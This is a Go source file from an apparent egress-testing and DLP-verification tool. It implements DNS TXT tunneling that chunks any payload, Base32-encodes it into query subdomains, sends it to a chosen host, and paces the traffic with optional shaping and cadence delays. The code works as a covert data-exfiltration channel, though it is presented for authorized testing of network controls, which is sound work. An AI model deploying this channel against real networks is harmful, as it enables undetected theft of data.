● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / dns / dns_txt.go
← Back to directory
202 lines · 5.3 KB
Raw
1package dns
2
3import (
4 "context"
5 "crypto/sha256"
6 "encoding/base32"
7 "encoding/hex"
8 "errors"
9 "fmt"
10 "io"
11 "net"
12 "strconv"
13 "strings"
14 "time"
15
16 mdns "github.com/miekg/dns"
17 "github.com/shehzade/contraband/pkg/client/exfil"
18 "github.com/shehzade/contraband/pkg/common"
19)
20
21// DNSTXTExfiltrator implements Base32 subdomain tunneling over DNS Type TXT queries with EDNS0 and TCP fallback.
22type DNSTXTExfiltrator struct{}
23
24func NewDNSTXTExfiltrator() *DNSTXTExfiltrator {
25 return &DNSTXTExfiltrator{}
26}
27
28func init() {
29 exfil.RegisterExfiltrator(common.ProtoDNSTXT, NewDNSTXTExfiltrator())
30}
31
32func (e *DNSTXTExfiltrator) Protocol() string {
33 return common.ProtoDNSTXT
34}
35
36func (e *DNSTXTExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
37 if err := opts.Validate(); err != nil {
38 return nil, err
39 }
40
41 start := time.Now().UTC()
42 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
43 if err != nil {
44 return nil, err
45 }
46 result.Timestamps.StartTCP = start
47 result.PayloadType = opts.PayloadType
48 result.CarrierType = opts.CarrierType
49
50 payload, err := io.ReadAll(reader)
51 if err != nil {
52 return nil, fmt.Errorf("failed to read payload: %w", err)
53 }
54 result.TargetVolume = int64(len(payload))
55
56 if opts.ExpectedHash == "" {
57 h := sha256.Sum256(payload)
58 opts.ExpectedHash = hex.EncodeToString(h[:])
59 }
60 result.PayloadHash = opts.ExpectedHash
61
62 if opts.SessionToken.IsZero() {
63 tok, tokErr := common.NewSessionToken()
64 if tokErr != nil {
65 return nil, tokErr
66 }
67 opts.SessionToken = tok
68 }
69
70 dnsChunkSize := 32
71 if opts.ChunkSize > 0 && opts.ChunkSize < 32 {
72 dnsChunkSize = opts.ChunkSize
73 }
74
75 var rawChunks [][]byte
76 if len(payload) == 0 {
77 rawChunks = [][]byte{{}}
78 } else {
79 for i := 0; i < len(payload); i += dnsChunkSize {
80 end := i + dnsChunkSize
81 if end > len(payload) {
82 end = len(payload)
83 }
84 rawChunks = append(rawChunks, payload[i:end])
85 }
86 }
87 totalChunks := uint32(len(rawChunks))
88
89 domain := opts.Headers["domain"]
90 if domain == "" {
91 domain = "contraband.local"
92 }
93 domain = strings.TrimSuffix(domain, ".")
94
95 udpClient := &mdns.Client{
96 Timeout: opts.Timeout,
97 Net: "udp",
98 }
99 tcpClient := &mdns.Client{
100 Timeout: opts.Timeout,
101 Net: "tcp",
102 }
103
104 targetAddr := net.JoinHostPort(opts.TargetHost, strconv.Itoa(opts.TargetPort))
105 b32Enc := base32.StdEncoding.WithPadding(base32.NoPadding)
106
107 result.Timestamps.ConnectedTCP = time.Now().UTC()
108 result.Timestamps.FirstByteSent = time.Now().UTC()
109
110 for seq := uint32(1); seq <= totalChunks; seq++ {
111 chunkData := rawChunks[seq-1]
112 b32Chunk := b32Enc.EncodeToString(chunkData)
113 if b32Chunk == "" {
114 b32Chunk = "A"
115 }
116
117 fqdn := fmt.Sprintf("%d.%d.%s.%s.%s.", seq, totalChunks, opts.SessionToken.String(), b32Chunk, domain)
118 if len(fqdn) > 255 {
119 result.Verdict = common.VerdictBlockedL7
120 result.ErrorMessage = fmt.Sprintf("constructed FQDN exceeds 253 characters: length %d", len(fqdn))
121 calculateDurations(&result)
122 return &result, errors.New(result.ErrorMessage)
123 }
124
125 msg := new(mdns.Msg)
126 msg.SetQuestion(fqdn, mdns.TypeTXT)
127 msg.SetEdns0(4096, false)
128 msg.RecursionDesired = false
129
130 resp, _, exErr := udpClient.ExchangeContext(ctx, msg, targetAddr)
131 // Truncation fallback: if TC bit set or error indicating truncation, fall back to TCP
132 if (exErr == nil && resp != nil && resp.Truncated) || (exErr != nil && strings.Contains(strings.ToLower(exErr.Error()), "truncate")) {
133 resp, _, exErr = tcpClient.ExchangeContext(ctx, msg, targetAddr)
134 }
135
136 if exErr != nil {
137 result.Verdict = classifyError(exErr)
138 result.ErrorMessage = exErr.Error()
139 calculateDurations(&result)
140 return &result, exErr
141 }
142
143 result.BytesSent += int64(len(fqdn))
144 if resp == nil || len(resp.Answer) == 0 {
145 result.Verdict = common.VerdictBlockedL7
146 result.ErrorMessage = fmt.Sprintf("no TXT record answer received for chunk %d", seq)
147 calculateDurations(&result)
148 return &result, errors.New(result.ErrorMessage)
149 }
150
151 var ackConfirmed bool
152 for _, ans := range resp.Answer {
153 if txtRecord, ok := ans.(*mdns.TXT); ok {
154 for _, txt := range txtRecord.Txt {
155 // Expected format: ACK:[seq]:[received]/[total]:[hash]
156 if strings.HasPrefix(txt, fmt.Sprintf("ACK:%d:", seq)) {
157 ackConfirmed = true
158 result.BytesRecv += int64(len(txt))
159 break
160 }
161 }
162 }
163 }
164
165 if !ackConfirmed {
166 result.Verdict = common.VerdictBlockedL7
167 result.ErrorMessage = fmt.Sprintf("invalid or missing TXT sequence ACK for chunk %d", seq)
168 calculateDurations(&result)
169 return &result, errors.New(result.ErrorMessage)
170 }
171
172 if opts.Shaper != nil {
173 if err := opts.Shaper.WaitN(ctx, len(chunkData)); err != nil {
174 result.Verdict = classifyError(err)
175 result.ErrorMessage = err.Error()
176 calculateDurations(&result)
177 return &result, err
178 }
179 }
180 if opts.Cadence != nil {
181 delay := opts.Cadence.NextDelay()
182 if delay > 0 {
183 select {
184 case <-time.After(delay):
185 case <-ctx.Done():
186 result.Verdict = classifyError(ctx.Err())
187 result.ErrorMessage = ctx.Err().Error()
188 calculateDurations(&result)
189 return &result, ctx.Err()
190 }
191 }
192 }
193 }
194
195 result.Timestamps.AckReceived = time.Now().UTC()
196 result.Timestamps.TeardownDone = time.Now().UTC()
197 result.Verdict = common.VerdictSuccess
198 result.RawEvidence = common.FormatBoundedRawEvidence(payload)
199
200 calculateDurations(&result)
201 return &result, nil
202}